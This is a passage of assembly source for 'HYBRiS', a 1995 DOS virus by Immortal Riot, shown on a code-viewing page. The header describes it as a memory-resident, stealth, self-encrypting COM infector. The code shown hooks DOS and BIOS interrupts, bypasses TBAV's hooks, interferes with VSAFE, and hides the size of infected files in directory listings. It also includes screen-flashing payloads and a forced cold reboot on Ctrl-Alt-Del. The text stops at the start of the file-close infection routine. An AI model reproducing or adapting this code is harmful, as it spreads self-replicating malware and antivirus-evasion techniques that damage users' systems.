📄 hybris.asm
字号:
;===============================================================================
; HYBRiS (c) 1995 The Unforgiven/Immortal Riot
; Brief description:
; TSR COM-infecting, full-stealth virus
; Self-encrypted
; Wasn't scannable when it was released by FP/Tbav/AVP..
; Has quite some collection of grafical payloads (hoping to get AVP attention).
; Multipe interrupt handlers
; Int24h hooking
; Anti-anti-VSAFE-viruses.
; Special thanks to Priest & Stormbringer of Phalcon/Skism
;===============================================================================
.model tiny
.code
org 100h
vir_size equ virus_end-virus_start
virus_start:
jmp entry_point
install:
mov ax,99 ;input = rnd_value in AX
call random ;output = (zero -> rnd_value)
jne get ;if output=0, activate..
mov cs:[activate_flag][bp],1
get:
mov ax,108
call random
jne real_get
start_payload:
call main_payload ;'loop' until ESC is being pressed..
in al,60h
cmp al,1
jne start_payload
jmp short real_get
main_payload: ;remake of a payload I wrote for
mov ax,3 ;IR#6..
int 10h
push ax
push cx
push dx
mov ax,03f00h
mov dx,03c8h
out dx,al
inc dx
mov ax,-1
out dx,al
xchg al,ah
out dx,al
xchg al,ah
out dx,al
mov cx,-1
loop $
dec dx
xor ax,ax
out dx,al
inc dx
out dx,al
out dx,al
out dx,al
pop dx
pop cx
pop ax
ret
real_get:
mov ah,4ah ;Residency routine combined with
mov bx,-1 ;installation check
mov cx,0d00dh
int 21h
cmp ax,cx
jne not_res
jmp already_resident
not_res:
mov ah,4ah ;resize mcb
sub bx,(vir_size+15)/16+1 ;bx=size in para's
int 21h ;es =segment
mov ah,48h ;allocate memory block
mov bx,(vir_size+15)/16 ;bx = size in para's
int 21h ;returns pointer to the beginning
;of the new block allocated
dec ax ;dec ES to get pointer to mcb
mov es,ax ;es=segment
mov word ptr es:[1],8 ;ofs:1 in mcb = owner, 8 = dos
push cs ;cs=ds
pop ds
cld ;clear direction
sub ax,0fh ;substact 15 from ax,
mov es,ax ;thus es:[100h] = start of allocated memory
mov di,100h ;di = 100h (beginning of file)
lea si,[bp+offset virus_start] ;si points to start of virus
mov cx,(vir_size+1)/2 ;copy it resident with words
rep movsw ;until cx = 0 (the whole virus copied)
push es ;es=ds
pop ds
mov ax,3521h ;get interrupt vector from es:bx for
int 21h ;int21h
tb_lup:
cmp word ptr es:[bx],05ebh ;all tbav's utils starts with this code,
jne no_tbdriver ;if its found, get next interrupt handler
cmp byte ptr es:[bx+2],0eah ;and use that as the int21h adress
jne no_tbdriver ;thereby, cutting tbav out from our
les bx,es:[bx+3] ;int21h handler. loop until it's out of
jmp tb_lup ;there. (dunno if this works anymore..)
no_tbdriver:
mov word ptr ds:[Org21ofs],bx ;save segment:offset for int21h
mov word ptr ds:[Org21seg],es ;in a word each
cmp byte ptr cs:[activate_flag][bp],1 ;check if we should activate
jne skip_08_get ;the int8 handler
mov al,08h ;if so, get interrupt-vector
int 21h ;for int8h
mov word ptr ds:[org08ofs],bx
mov word ptr ds:[org08seg],es
skip_08_get:
mov al,09h ;int9
int 21h
mov word ptr ds:[org09ofs],bx
mov word ptr ds:[org09seg],es
mov al,16h ;16h
int 21h
mov word ptr ds:[org16ofs],bx
mov word ptr ds:[org16seg],es
mov dx, offset new_int21h ;set new interrupt handlers
mov ax,2521h ;to ds:dx for int21h
int 21h
cmp byte ptr cs:[activate_flag][bp],1 ;if we didnt get int8, dont
jne skip_08_set ;set a new either!
mov dx, offset new_08h
mov al,08h
int 21h
skip_08_set:
mov dx,offset new_09h ;int9 handler installed
mov al,09h
int 21h
mov dx,offset new_16h ;int 16h handler installed
mov al,16h
int 21h
already_resident:
tbdriver:
mov di,100h
push di ;save di at 100h
push cs ;make cs=ds=es
push cs
pop es
pop ds
lea si,[bp+orgjmp] ;and copy the first 4-init-bytes to
movsw ;the beginning (in memory) so we can
movsw ;return back to the host properly
ret ;jmp di, 100h (since we pushed it above)
new_int21h:
cmp ah,4ah ;installation check part at the beginning
jne chk_vsafe ;no 4ah executed, try next option
cmp bx,-1 ;ah = 4ah, check if bx and cx is set by
jne no_match ;our virus
cmp cx,0d00dh
jne no_match ;no.
mov ax,cx ;move cx into ax
iret ;and do a interrupt return
chk_vsafe:
cmp ax,0fa01h ;a resident anti-virus-virus,
jne chk_exec ;checker
cmp dx,5945h
je go_vsafe
chk_exec:
cmp ax,4b00h ;Since this is a com infector only,
je go_infect ;I don't have to check if al=0, still
;I do it :).
chk_close:
cmp ah,3eh ;check for file-closes
je go_close ; ==> infect
cmp ah,3dh ;file open
je go_disinfect ; ==> disinfect
chk_dir:
cmp ah,11h ;stealth functions on
je go_fcb_stealth ;directory listenings with
cmp ah,12h ;11/12/4e/4fh
je go_fcb_stealth
cmp ah,4eh
je go_handle_stealth
cmp ah,4fh
je go_handle_stealth
no_match:
jmp do_oldint21h ;nothing matched!
go_vsafe: ;indirect-jumps due to 128d bytes jmp's
jmp unload_vsafe ;directives.
go_infect:
jmp infect
go_close:
call setcritical ;if infect on close, install a critical
jmp infect_close ;error handler before
go_disinfect:
call setcritical ;disinfect calls also modifies programs,
jmp disinfect_dsdx ;install the int24h handler before trying
;doing disinfection
go_fcb_stealth: ;11 & 12h calls get's here, to be
jmp hide_dir ;transfered into another routine
;(* Very unstructured programming *)
go_handle_stealth:
jmp hide_dir2
dps db "THIS PROGRAM IS (C) 1995 IMMORTAL RIOT",0 ; no shit!
new_08h:
push ax ;If the int08h installer is
push dx ;installed, the screen background
mov dx,03c8h ;color will fade to white return
xor al,al ;to original color (black), and
out dx,al ;'loop' that procedure all over again
inc dx ;since its activated all the time by
mov al,[cs:bgcol] ;dos internal services. .
out dx,al
out dx,al
out dx,al
inc [cs:bgcol]
pop dx
pop ax
db 0eah
org08ofs dw ?
org08seg dw ?
bgcol db 0
new_09h:
push ax ;preserve register in use
push ds
xor ax,ax
mov ds,ax ;ds=0
in al,60h ;read key
cmp al,53h ;delete?
jnz no_ctrl_alt_del ;no!
test byte ptr ds:[0417h],0ch ;test for alt OR ctrl
je no_ctrl_alt_del ;
jpo no_ctrl_alt_del ;<- Wow. ctrl and alt?
in al,40h ;A small randomizer, this gives us
and al,111111b ;one in 64 I reckon :-).
cmp al,111111b
je no_ctrl_alt_del
push cs
pop ds
mov ax,3 ;set grafic mode and clear screen, too
int 10h
mov ah,2 ;set cursor pos
xor bh,bh
mov dx,0A14h ;10,20d (middle)
int 10h
mov ah,1 ;set cursor
mov cx,2020h ;>nul
int 10h
mov si,offset dps ;point to v_name, of sorts.
all_chars:
loop all_chars
lodsb ;load string by byte from dps
or al,al ;end of string? (al=0)
je cold_boot ;yes, make a cold boot
mov ah,0Eh ;display character from string
int 10h
jmp short all_chars ;put next char to string
cold_boot:
db 0eah ;jmp far ptr
db 00h, 00h, 0ffh,0ffh
no_ctrl_alt_del:
pop ds ;restore registers
pop ax
do_oldint09h:
db 0eah ;and jump to saved vector for int09h
org09ofs dw ?
org09seg dw ?
new_16h:
cmp ax,0fa01h ;check ax for 'vsafe-unload-value'
jne do_oldint16h ;no match in ax.
cmp dx,5945h ;check ds for 'vsafe-unload-value'
jne do_oldint16h ;no match in dx.
jmp unload_vsafe ;program is probably virus-infected.
do_oldint16h:
db 0eah ;program is not trying to unload
org16ofs dw ? ;vsafe..
org16seg dw ?
hide_dir: ;FCB stealth routine
pushf ;simulate a int call with pushf
push cs ;and cs, ip on the stack
call do_oldint21h
or al,al ;was the dir call successfull??
jnz skip_dir ;(i.e. did we find files?)
push ax ;we did find files, save ax/bx/es
push bx ;since we use them in this routine
push es
mov ah,62h ;get active PSP to es:bx
int 21h
mov es,bx
cmp bx,es:[16h] ;PSP belongs to dos?
jnz bad_psp ;no, just stealth on DIR (ie. command.com
;is the owner of the psp)
mov bx,dx ;offset to unopened FCB in BX
mov al,[bx] ;FCB-type in AL..
push ax ;Save it
mov ah,2fh ;Get DTA-area
int 21h
pop ax ;Restore AX
inc al ;check if al=0 or al=ff
jnz no_ext ;If it's not 0, then, it's not extended
add bx,7 ;if it's extended add 7 to skip garbage
no_ext:
mov al,byte ptr es:[bx+17h] ;get seconds field
and al,1fh
xor al,1dh ;is the file infected??
jnz no_stealth ;if not - don't hide size
cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
jbe no_stealth ;as an infected is smaller -
sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
no_stealth:
bad_psp:
pop es ;restore segments/registers
pop bx ;used and return to caller
pop ax
skip_dir:
iret
hide_dir2: ;4e/4fh stealth
pushf
push cs
call do_oldint21h
jc no_files
pushf
push ax
push di
push es
push bx
mov ah,2fh
int 21h
mov di,bx
add di,1eh
cld
mov cx,9 ;scan for the '.' which seperates
mov al,'.' ;the filename from the extension
repne scasb
jne not_inf ;<- Filename without any extension!
cmp word ptr es:[di],'OC'
jne not_inf ;most likely a com
cmp byte ptr es:[di+2],'M'
jne not_inf ;Definitly com
mov ax,es:[bx+16h] ;ask file time
and al,1fh
xor al,1dh ;can the file be infected?
jnz not_inf
cmp word ptr es:[bx+1ah],vir_size ;dont stealth too small
ja hide ;files
cmp word ptr es:[bx+1ch],0 ;>64k? (no-com)
je not_inf ;don't stealth too large files..
hide:
sub es:[bx+1ah],vir_size-3 ;stealth
not_inf:
pop bx
pop es
pop di
pop ax
popf
no_files:
retf 2
infect_close: ;3eh calls arrives at this entry
push es
push bp
push ax
push bx
push cx
push si
push di
push ds
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -